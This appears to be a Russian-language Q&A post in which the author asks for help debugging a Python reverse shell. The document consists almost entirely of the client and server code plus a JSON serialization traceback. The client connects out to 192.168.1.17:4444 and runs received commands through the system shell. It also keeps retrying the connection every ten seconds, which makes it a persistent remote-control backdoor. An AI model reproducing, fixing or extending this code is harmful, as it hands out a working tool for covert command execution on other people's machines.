Я пытаюсь создать простой скрипт оболочки Reverse, который может загружать, скачивать и читать длинные данные. Серверная часть работала на ПК с Linux, на котором установлен Python 3.6. Клиентская сторона работала на моем ПК с Windows, на котором установлен Python 3.7.2. Сценарий работал отлично, пока я не попытался сериализовать его.
на стороне клиента:
import socket, subprocess
from time import sleep
import json
import io
class Client:
def __init__(self, ip, port):
# First thing to run
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
self.connected = True
def command(self, command):
return subprocess.check_output(command, shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(bytes(j_data, 'utf-8'))
def recv_stro(self):
json_data = self.connection.recv(1024).decode("utf-8")
return json.loads(json_data)
def run_now(self):
while True:
try:
# recving the commands
commd = self.recv_stro()
result = self.command(commd)
self.reliable_send(result)
except subprocess.CalledProcessError:
self.connection.send(bytes("Not a command", "utf-8"))
try:
Client("192.168.1.17", 4444).run_now()
except socket.error:
connected = False
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while not connected:
try:
Client("192.168.1.17", 4444).run_now()
connected = True
except socket.error:
sleep(10)
Серверные:
import socket
from termcolor import cprint
import json
# 192.168.1.17, 4444
class Listen:
def __init__(self, ip, port):
sooc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sooc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sooc.bind((ip, port))
sooc.listen(0)
cprint("[+]wait for it", 'red', attrs=['bold'] )
self.conn, address = sooc.accept()
cprint(f"Connected to {address}", 'green', attrs=['bold'])
def strongly(self, data):
json_data = json.dumps(data)
self.conn.send(bytes(json_data, 'utf-8'))
def recv_stro(self):
while True:
try:
json_data = self.conn.recv(1024).decode("utf-8")
return json.loads(json_data)
except ValueError:
continue
def execute(self, command):
self.strongly(command)
return self.recv_stro()
def run(self):
while True:
cmd = input(">> ")
if len(str.encode(cmd)) > 0:
self.strongly(cmd)
respond = self.recv_stro().decode("utf-8")
print(respond)
man = Listen("192.168.1.17", 4444)
man.run()
TraceBack:
File "C:\Users\juliu\AppData\Local\Programs\Python\Python37\lib\json\__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "C:\Users\juliu\AppData\Local\Programs\Python\Python37\lib\json\encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True)
File "C:\Users\juliu\AppData\Local\Programs\Python\Python37\lib\json\encoder.py", line 257, in iterencode
return _iterencode(o, 0)
File "C:\Users\juliu\AppData\Local\Programs\Python\Python37\lib\json\encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable